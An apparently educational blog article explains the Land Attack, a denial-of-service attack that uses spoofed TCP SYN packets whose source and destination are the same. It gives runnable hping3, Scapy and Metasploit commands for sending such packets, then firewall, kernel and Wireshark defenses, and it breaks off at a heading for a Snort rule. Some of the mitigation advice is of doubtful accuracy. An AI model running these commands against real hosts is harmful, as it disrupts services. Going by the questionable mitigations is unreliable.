Land Attack: Understanding and Preventing IP Address Overlap

Abdul Wahab Junaid

1 year ago

Land Attack: Understanding and Preventing IP Address Overlap

A Land Attack is a Denial-of-Service (DoS) attack where an attacker sends a spoofed TCP SYN packet with the same source and destination IP addresses (and sometimes the same port), causing the target system to enter an infinite loop or crash due to improper packet handling.

1. How the Attack Works

Normal TCP Connection vs. Land Attack

Normal TCP Connection	Land Attack
Client (`IP_A:Port_X`) → Server (`IP_B:Port_Y`)	Attacker sends `IP_B:Port_Y → IP_B:Port_Y`
Server responds to `IP_A`	Server tries to respond to itself
Connection completes	System freezes or crashes

Attack Mechanism

Malicious Packet Crafting

The attacker sends a SYN packet where:
- Source IP = Destination IP (e.g., 192.168.1.1 → 192.168.1.1)
- Source Port = Destination Port (optional, e.g., 80 → 80)

Target System Confusion

The victim machine tries to respond to itself, leading to:
- Infinite loop (older systems like Windows 95/NT)
- Kernel panic (some Unix-based systems)
- Resource exhaustion (modern systems may just drop the packet)

Denial of Service

The target becomes unresponsive to legitimate requests.

2. Ethical Hacker Simulation in Pen Testing

Ethical hackers simulate Land Attacks to test system resilience against malformed packets.

Tools & Commands for Simulation

A. Using `hping3` (Linux)

Bash

hping3 -S -a <target_IP> -p 80 -k -s 80 <target_IP>

-S → SYN flag
-a <target_IP> → Spoof source IP (same as target)
-p 80 → Destination port
-k -s 80 → Source port (optional, same as destination)

B. Using Scapy (Python)

Python

from scapy.all import *
target = "192.168.1.1"
packet = IP(src=target, dst=target) / TCP(sport=80, dport=80, flags="S")
send(packet, loop=1, verbose=0)

C. Using Metasploit

Bash

msfconsole
use auxiliary/dos/tcp/land
set RHOST <target_IP>
set RPORT 80
run

3. Prevention & Mitigation Strategies

A. Network-Level Defenses

Firewall Rules (Block Land Packets)
- Linux (iptables)
```
iptables -A INPUT -p tcp --tcp-flags SYN SYN -m iprange --src-range <target_IP>-<target_IP> -j DROP
```
- Windows Firewall
  - Use Group Policy to block packets with identical source/destination IPs.

Disable IP Spoofing (Ingress Filtering)

ISP/Edge Router:

access-list 100 deny ip host <target_IP> host <target_IP>

Kernel Hardening (Linux/Windows)
- Linux:
```
sysctl -w net.ipv4.conf.all.rp_filter=1  # Enable Reverse Path Filtering
```
- Windows:
  - Disable TCP/IP auto-tuning (may help in some cases).

B. Detection & Monitoring

Wireshark Filter

Plaintext

ip.src == ip.dst && tcp.flags.syn == 1

Snort IDS Rule